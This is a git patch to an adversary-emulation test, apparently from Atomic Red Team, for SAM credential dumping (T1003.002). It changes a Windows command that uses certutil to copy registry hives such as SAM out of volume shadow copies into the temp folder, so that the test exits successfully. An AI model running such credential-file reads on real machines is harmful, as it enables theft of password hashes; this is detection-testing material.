From 0f7d8de6a64a7e1e84008ad007ba47d35c5f37bb Mon Sep 17 00:00:00 2001 From: Carrie Roberts Date: Wed, 11 Oct 2023 21:44:03 -0600 Subject: [PATCH] exit code 0 on success (#2565) Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com> --- atomics/T1003.002/T1003.002.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1003.002/T1003.002.yaml b/atomics/T1003.002/T1003.002.yaml index b2468eed..406889a5 100644 --- a/atomics/T1003.002/T1003.002.yaml +++ b/atomics/T1003.002/T1003.002.yaml @@ -121,7 +121,7 @@ atomic_tests: default: 10 executor: command: | - for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%a\Windows\System32\config\#{target_hive}" %temp%\#{target_hive}vss%a 2 >nul 2>&1) && dir /B %temp%\#{target_hive}vss%a + for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex "\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy%a\Windows\System32\config\#{target_hive}" %temp%\#{target_hive}vss%a 2 >nul 2>&1) & dir /B %temp%\#{target_hive}vss* name: command_prompt elevation_required: false cleanup_command: |